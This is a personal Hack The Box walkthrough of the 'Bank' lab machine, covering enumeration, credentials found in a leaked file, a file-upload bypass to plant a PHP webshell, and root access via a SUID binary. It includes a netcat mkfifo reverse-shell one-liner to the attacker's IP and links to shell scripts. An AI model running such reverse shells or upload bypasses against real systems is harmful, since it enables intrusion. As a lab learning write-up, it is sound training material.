HTB: Bank (Walkthrough)
DISCLAIMER
I do these boxes to learn things and challenge myself. Of course, there come times when I run into things I haven’t seen before, and I need help. Accordingly, whenever I rely on a walkthrough I will let the audience know. A similar thing will be done if I get help from the forums, depending on how much I lean on them for guidance.
Also, I document a lot of my mistakes, the things I try, and the rabbit holes I get stuck in. I could make this guide loads shorter if I just included the “correct” steps, but that really isn’t accurate to how I approached the box.
[Note: The box’s IP may change since I respawned the machine a few times]
FOOTHOLD
Nmap scan revealed ports 22 (SSH), 53 (DNS), and 80 (HTTP).
Initial enumeration of the webserver proved fruitless. It was a default Apache HTTP webpage. An enumeration scan with Nikto did not show anything significant, and directory bruteforcing with Gobuster revealed nothing.
In terms of DNS, I could not successfully complete a zone transfer until I guessed at the domain of the box (which is in HTB’s usual format — “bank.htb”). I added the domain to my “/etc/hosts” file, so that I could query it appropriately. The zone transfer showed a few more domains I could add to the “hosts” file.
dig axfr @10.129.56.132 bank.htb
The “bank.htb” domain is a login page for a web application. I could not get a login with common creds or SQLi. The username I was trying was “chris@bank.htb”, having learned about chris from the zone transfer. We will come back to this login page soon.
I did some more enumeration within my web browser for the other two domains (“chris” and “ns”), and ran Nikto and Gobuster scans against them, but did not find anything. I also fuzzed subdomains with “ffuf”, but didn’t find anything.
Having exhausted my resources on web enumeration, and truly confused, I leaned on a walkthrough for the next step. It ends up that I needed to go back to the original domain I was enumerating (bank.htb) and run another Gobuster scan. Historically, whenever I do boxes, I stop the Gobuster scan after the “/server-status” directory is returned (about 50% way done with the scan), as I’ve never found anything after that point. It’s simply a time saver. However, that was my mistake on this box — the scan needed to be completed to reveal a directory (“/balance-transfer”) that is located near the bottom of the wordlist that I use :(
gobuster dir -u http://bank.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 100 -x php,html,txt -o gobuster_medium_php-html-txt.txt
The balance transfer page is full of files that are a history of, well, balance transfers. And nearly all of them are encrypted, so I can’t read their contents.
When I come across a list of files like this, it’s important to find the one that is different — that stands out (by naming convention; timestamps; size; etc…). For this directory, when you organize it by “size”, one record is much smaller than the others. And as a matter of fact, that is because it is not encrypted. The file lists an email and password.
These credentials can be used to login to the web application.
Poking around at the web app, there’s a “support” page that has file upload potential. I created a support ticket and attached a PHP webshell to it. A quicker way to get a foothold would be to execute a reverse shell with “pentestmonkey”’s PHP script, but I like working with webshells ¯\_(ツ)_/¯
pentestmonkey — PHP reverse shell: https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php
whitewinterwolf — PHP webshell: https://github.com/WhiteWinterWolf/wwwolf-php-webshell
Unfortunately, my ticket does not get created because I can only upload images (not PHP files).
There’s a myriad of ways that a web application can block image upload. Sometimes it’s trivial (like changing the file extension), and other times it’s really challenging to bypass.
First, I changed the file extension of my webshell from “.php” to “.jpg”. This let me upload the file successfully, and view it in the browser. However, the application does not render the PHP properly, and I get an error.
I followed a tutorial from “null-byte” on how to bypass image upload constraints, but could not get it to work.
Null-Byte Tutorial (Image Bypass): https://null-byte.wonderhowto.com/how-to/bypass-file-upload-restrictions-web-apps-get-shell-0323454/
Taking a break from that, I perused the source code of the webpage and noticed an interesting comment on the application. Apparently, the file extension “.htb” can be used to execute files as PHP. Kind of weird, but okay. Let’s exploit that.
I made the appropriate change to my webshell, and went through the uploading process. In the end, my shell rendered correctly!
In my experiences with reverse shells, one netcat shell has been the most consistent for running a reverse shell for me:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.16.6 80 >/tmp/f
I spawned a semi-interactive shell with Python.
python -c “import pty;pty.spawn(‘/bin/bash’)”
PRIVESC
I looked through the target’s filesystem and found where the web application is stored (“/var/www/bank”). Within this dir there is a file that has database creds.
And indeed, MySQL is running on the machine:
After logging in to the database, it didn’t give any crucial information. It only had the password for “chris@bank.htb”, which I had before when I read the unencrypted bank transfer file. Moving on.
I ran a check for files that have the SUID bit enabled. One file stood out because it was a native Unix file — “/var/htb/bin/emergency”.
find / -perm /4000 2>/dev/null
This “emergency” file is an executable file. I ran “strings” on it, to pull the readable (ASCII) characters out of it, but I got an outpouring of text with nothing interesting seen.
The directory one level up (“/var/htb/”) also has a file called “emergency”, but it’s a Python script that I can read. What was unique about this file as that it did not have SUID permissions on it, but it calls the file that DOES have SUID permissions.
Below is the “/var/htb/emergency” file. Breaking this down: 1.) The user inputs “y” or “n” for a prompt that simply asks if they want to spawn a root shell; 2.) If the use typed “y”, then the function “getroot()” runs, and 3.) It runs the “/var/htb/bin/emergency” file (the one with SUID permissions).
Funny enough, this actually spawns a root shell, thus cracking the box. Not really realistic, but it doesn’t necessarily have to be (it just needs to teach).
Knowing what the “/var/htb/bin/emergency” file is now, I can also just run that executable to get the high-privileged shell.
Box done! It was more challenging finding the foothold (the comment about “.htb” file extension) than it was rooting the box.
Resources Used
- Null-Byte Tutorial (Image Upload Bypass): https://null-byte.wonderhowto.com/how-to/bypass-file-upload-restrictions-web-apps-get-shell-0323454/
Things I Learned
- Let your Gobuster scans run all the way through!
- Don’t forget to enumerate source code on web pages, when you’ve exhausted other means of recon. Although unlikely, developers could leave tidbits of knowledge within HTML comments.